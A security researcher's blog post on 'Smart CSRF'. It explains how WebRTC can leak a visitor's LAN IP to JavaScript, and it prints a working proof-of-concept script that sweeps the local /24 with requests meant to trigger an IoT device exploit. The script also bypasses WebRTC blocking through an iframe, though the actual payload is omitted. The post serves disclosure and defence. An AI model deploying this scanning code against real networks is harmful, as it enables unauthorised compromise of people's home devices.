Skip to content ↓ | Skip to navigation ↓

All too often, I find that vendors discount the risks associated with attack vectors involving cross-site request forgery (CSRF).

Naturally, remediation of vulnerabilities involving user-interaction should generally take a back seat to those that are exposed to completely remote/unauthenticated exploitation, but that doesn’t mean it is OK to simply forget about vectors like CSRF.

A quick review of my CVE assignments indicates that in 2014, I reported at least 6 vulnerabilities that could be exploited to achieve system-level access via unauthenticated CSRF (i.e., The victim would not need to be authenticated to any service for the attack to succeed).

This is a pretty serious problem, but in some cases, it is clear that vendors view the possibility of exploitation in the wild as technically implausible because the attacker cannot predict the target’s IP address on a local LAN.

While it is true that JavaScript can be used to iterate through commonly used LAN addresses, it is also true that scanning all of the nearly 18 million IPv4 addresses allocated for private use in RFC1918 is going to take some time. This is why I generally advise people to select uncommon ranges for LAN segments.

This practice of security through obscurity, however, is not enough in the face of client-side technologies capable of revealing the local LAN IP. Once a malicious web site knows that a client is at a particular IP, the chances of finding a vulnerable device on the LAN in a realistic amount of time goes through the roof.

Many web developers and exploit authors I have discussed this with have said emphatically that there is no way to reveal a LAN IP from JavaScript. This is why for InfoSec Europe 2015 and DEF CON 23, I decided to demonstrate a 0-day privileged command injection flaw in the Vera Control VeraLite ‘Smart Home Hub’ using a technique I referred to as ‘Smart CSRF’.

As I found out, some modern browsers now have the capability to use WebRTC for STUN requests. Example code for doing so is available on here on GitHub.

This proof-of-concept code was easily modified to assume the client is on a /24 and send an HTTP request to each address in that range. Since the 0-day I demonstrated requires no prior authentication, the device was reliably compromised in under a second each time.

What was even more interesting to me is that I could pull this off using Chrome even when there was no external Internet connection to reach the STUN server. The script I used (minus the actual exploit payload) is available here as an example of Smart CSRF and is also replicated below.

<script>
// Linkback: https://www.tripwire.com/state-of-security/off-topic/smart-csrf/
// This code is derived from a PoC I came across on GitHub: https://github.com/diafygi/webrtc-ips/blob/master/README.md
// I have only slightly modified it to assume the IP is on a /24 and iterate over the addresses with an HTTP request.
// A version of this script including the payload for a 0-day in a home automation product was demonstrated at:
//  DEF CON 23 IoT Village and InfoSec Europe 2015 Intelligent Defence in a talk titled 'Smart Home Invasion'
// Interestingly enough, this code worked in Chrome even without an Internet connection to reach the STUN server.
// -- Craig Young, Security Researcher Tripwire VERT
 
//get the IP addresses associated with an account
function getIPs(callback){
    var ip_dups = {};
 
    //compatibility for firefox and chrome
    var RTCPeerConnection = window.RTCPeerConnection
        || window.mozRTCPeerConnection
        || window.webkitRTCPeerConnection;
    var useWebKit = !!window.webkitRTCPeerConnection;
 
    //bypass naive webrtc blocking using an iframe
    if(!RTCPeerConnection){
        //NOTE: you need to have an iframe in the page right above the script tag
        //
        //<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
        //<script>...getIPs called in here...
        //
        var win = iframe.contentWindow;
        RTCPeerConnection = win.RTCPeerConnection
            || win.mozRTCPeerConnection
            || win.webkitRTCPeerConnection;
        useWebKit = !!win.webkitRTCPeerConnection;
    }
 
    //minimal requirements for data connection
    var mediaConstraints = {
        optional: [{RtpDataChannels: true}]
    };
 
    //firefox already has a default stun server in about:config
    //    media.peerconnection.default_iceservers =
    //    [{"url": "stun:stun.services.mozilla.com"}]
    var servers = undefined;
 
    //add same stun server for chrome
    if(useWebKit)
        servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
 
    //construct a new RTCPeerConnection
    var pc = new RTCPeerConnection(servers, mediaConstraints);
 
    function handleCandidate(candidate){
        //match just the IP address
        var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
        var ip_addr = ip_regex.exec(candidate)[1];
 
        //remove duplicates
        if(ip_dups[ip_addr] === undefined)
            callback(ip_addr);
 
        ip_dups[ip_addr] = true;
    }
 
    //listen for candidate events
    pc.onicecandidate = function(ice){
 
        //skip non-candidate events
        if(ice.candidate)
            handleCandidate(ice.candidate.candidate);
    };
 
    //create a bogus data channel
    pc.createDataChannel("");
 
    //create an offer sdp
    pc.createOffer(function(result){
 
        //trigger the stun server request
        pc.setLocalDescription(result, function(){}, function(){});
 
    }, function(){});
 
    //wait for a while to let everything done
    setTimeout(function(){
        //read candidate info from local description
        var lines = pc.localDescription.sdp.split('\n');
 
        lines.forEach(function(line){
            if(line.indexOf('a=candidate:') === 0)
                handleCandidate(line);
        });
    }, 1000);
}
 
getIPs(
        function(ip){
                        var local_regex = /10\.[0-9]+\.[0-9]+\.|192\.168\.[0-9]+\.|172\.16\./
                        if (local_regex.exec(ip) != null) {
                                var subnet = local_regex.exec(ip)[0];
                                for (node=1; node<256; node++) {
                                        var url = 'http://' + subnet + node + exploit_URI_payload;
                                        var oReq = new XMLHttpRequest();
                                        oReq.open("get",url,true)
                                        oReq.send();
                                }
                        }
                }
        );
</script>
<H1>o0o0o0o0o0o0</H1>
</HTML>

Title image courtesy of ShutterStock